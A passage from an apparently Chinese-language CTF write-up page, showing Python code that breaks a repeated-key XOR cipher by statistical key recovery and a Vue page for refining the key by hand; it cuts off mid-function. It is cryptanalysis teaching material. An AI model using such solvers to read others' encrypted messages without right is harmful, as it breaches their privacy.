<span><span style="color: #403F53">i </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #994CC3">while</span><span style="color: #403F53"> i </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> n:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">i:i</span><span style="color: #994CC3">+</span><span style="color: #AA0982">50</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">5</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        i </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">    l </span><span style="color: #994CC3">=</span><span style="color: #403F53"> i </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">10</span></span>
<span><span style="color: #403F53">    r </span><span style="color: #994CC3">=</span><span style="color: #403F53"> i </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">40</span></span>
<span><span style="color: #403F53">    k </span><span style="color: #994CC3">=</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l:r</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l</span><span style="color: #994CC3">-</span><span style="color: #AA0982">1</span><span style="color: #4876D6">:r</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> k:</span></span>
<span><span style="color: #403F53">        l </span><span style="color: #994CC3">-=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l:r</span><span style="color: #994CC3">+</span><span style="color: #AA0982">1</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> k:</span></span>
<span><span style="color: #403F53">        r </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    pattern </span><span style="color: #994CC3">=</span><span style="color: #403F53"> high_bits[l:r]</span></span>
<span><span style="color: #403F53">    ciphertexts </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> (p </span><span style="color: #994CC3">:=</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">find</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">)) </span><span style="color: #994CC3">!=</span><span style="color: #403F53"> </span><span style="color: #994CC3">-</span><span style="color: #AA0982">1</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        ciphertexts.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">stream</span><span style="color: #403F53">[</span><span style="color: #4876D6">p:p</span><span style="color: #994CC3">+</span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #403F53">)])</span></span>
<span><span style="color: #403F53">        i </span><span style="color: #994CC3">=</span><span style="color: #403F53"> p </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">solve</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> json</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> base64 </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> b64decode, b64encode</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> string </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> ascii_letters</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">solve</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">ciphertexts</span><span style="color: #D6DEEB">: list[</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    n </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    m </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">])</span></span>
<span><span style="color: #D6DEEB">    key </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytearray</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">m</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">m</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> n</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> j, x </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">enumerate</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> k, y </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">enumerate</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">:j</span><span style="color: #D6DEEB">]):</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">x</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> y</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">]) </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> ascii_letters:</span></span>
<span><span style="color: #D6DEEB">                    count[j] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">                    count[k] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        key[i] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">32</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">^</span><span style="color: #D6DEEB"> ciphertexts[count.</span><span style="color: #B2CCD6">index</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">max</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">count</span><span style="color: #D6DEEB">))]</span><span style="color: #D9F5DD">[</span><span style="color: #D6DEEB">i</span><span style="color: #D9F5DD">]</span></span>
<span><span style="color: #D6DEEB">    plaintexts </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> ciphertext </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> ciphertexts:</span></span>
<span><span style="color: #D6DEEB">        plaintext </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">c </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> k </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> c</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> k </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertext</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> key</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        plaintexts.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">b64encode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">plaintext</span><span style="color: #D6DEEB">)</span><span style="color: #82AAFF">.</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">())</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">json.</span><span style="color: #B2CCD6">dumps</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">plaintexts</span><span style="color: #D6DEEB">))</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">messages.txt</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    stream </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">b64decode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">())</span></span>
<span></span>
<span><span style="color: #D6DEEB">n </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">stream</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">high_bits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">[</span><span style="color: #82AAFF">b </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">7</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> stream</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">i </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> n:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i:i</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">50</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        i </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">    l </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">10</span></span>
<span><span style="color: #D6DEEB">    r </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">40</span></span>
<span><span style="color: #D6DEEB">    k </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l:r</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l</span><span style="color: #C792EA">-</span><span style="color: #F78C6C">1</span><span style="color: #82AAFF">:r</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> k:</span></span>
<span><span style="color: #D6DEEB">        l </span><span style="color: #C792EA">-=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l:r</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> k:</span></span>
<span><span style="color: #D6DEEB">        r </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    pattern </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> high_bits[l:r]</span></span>
<span><span style="color: #D6DEEB">    ciphertexts </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> (p </span><span style="color: #C792EA">:=</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">find</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">)) </span><span style="color: #C792EA">!=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">-</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        ciphertexts.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">stream</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">p:p</span><span style="color: #C792EA">+</span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D6DEEB">)])</span></span>
<span><span style="color: #D6DEEB">        i </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> p </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">solve</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-47"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-47--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;!DOCTYPE </span><span style="color: #4876D6">html</span><span style="color: #994CC3">&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;html&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;head&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;meta </span><span style="color: #4876D6">charset</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">utf-8</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;title&gt;</span><span style="color: #403F53">Encrypted Chat Solver</span><span style="color: #994CC3">&lt;/title&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;script </span><span style="color: #4876D6">src</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">https://unpkg.com/vue@3/dist/vue.global.prod.js</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/script&gt;</span></span>
<span><span style="color: #994CC3">&lt;/head&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;body&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">app</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;label&gt;</span><span style="color: #403F53">Input: </span><span style="color: #994CC3">&lt;input </span><span style="color: #4876D6">v-model</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">input</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/label&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">font-family: monospace; font-size: 1rem; white-space: pre;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">v-for</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">(plaintext, i) of plaintexts</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">:key</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">i</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">margin-top: 1rem; display: flex; gap: 1px;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">v-for</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">(c, p) in plaintext</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">:key</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">p</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">@click</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">changeKey(i, p, c)</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">padding: 1px; cursor: pointer;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">&lt;span </span><span style="color: #4876D6">v-if</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">isAsciiPrintable(c)</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span><span style="color: #403F53">{{ c }}</span><span style="color: #994CC3">&lt;/span&gt;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">&lt;span </span><span style="color: #4876D6">v-else</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">color: red;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span><span style="color: #403F53">?</span><span style="color: #994CC3">&lt;/span&gt;</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;script&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">const {</span><span style="color: #4876D6">createApp</span><span style="color: #994CC3">, </span><span style="color: #4876D6">ref</span><span style="color: #994CC3">, </span><span style="color: #4876D6">computed</span><span style="color: #994CC3">, </span><span style="color: #4876D6">watch</span><span style="color: #994CC3">} = </span><span style="color: #403F53">Vue;</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">createApp</span><span style="color: #403F53">({</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">setup</span><span style="color: #111111">()</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">input</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">ref</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;&#39;</span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">bases</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">computed</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #994CC3"> =&gt; {</span></span>
<span><span style="color: #994CC3">          try {</span></span>
<span><span style="color: #994CC3">            return </span><span style="color: #4876D6">JSON</span><span style="color: #994CC3">.</span><span style="color: #4876D6">parse</span><span style="color: #403F53">(</span><span style="color: #0C969B">input</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">)</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">b64</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; </span><span style="color: #0C969B">Array</span><span style="color: #994CC3">.</span><span style="color: #4876D6">from</span><span style="color: #403F53">(</span><span style="color: #4876D6">atob</span><span style="color: #403F53">(b64)))</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          } catch {</span></span>
<span><span style="color: #994CC3">            return</span><span style="color: #403F53"> []</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          }</span></span>
<span><span style="color: #994CC3">        }</span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">key</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">ref</span><span style="color: #403F53">([]);</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">watch</span><span style="color: #403F53">(bases, </span><span style="color: #111111">(</span><span style="color: #403F53">stream</span><span style="color: #111111">)</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">Array</span><span style="color: #403F53">(bases[</span><span style="color: #AA0982">0</span><span style="color: #403F53">]</span><span style="color: #994CC3">?.</span><span style="color: #0C969B">length</span><span style="color: #403F53">)</span><span style="color: #994CC3">.</span><span style="color: #4876D6">fill</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">        });</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">plaintexts</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">computed</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #994CC3"> =&gt;</span></span>
<span><span style="color: #994CC3">          </span><span style="color: #0C969B">bases</span><span style="color: #994CC3">.</span><span style="color: #111111">value</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">base</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; {</span></span>
<span><span style="color: #994CC3">            return </span><span style="color: #0C969B">base</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">c</span><span style="color: #994CC3">, </span><span style="color: #403F53">i</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; </span><span style="color: #0C969B">String</span><span style="color: #994CC3">.</span><span style="color: #4876D6">fromCharCode</span><span style="color: #403F53">(</span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span><span style="color: #994CC3"> ^ </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[i]))</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          }</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">        </span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">isAsciiPrintable</span><span style="color: #111111">(</span><span style="color: #403F53">c</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">&gt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">32</span><span style="color: #403F53"> </span><span style="color: #994CC3">&amp;&amp;</span><span style="color: #403F53"> </span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">126</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">changeKey</span><span style="color: #111111">(</span><span style="color: #403F53">i, p, oldChar</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
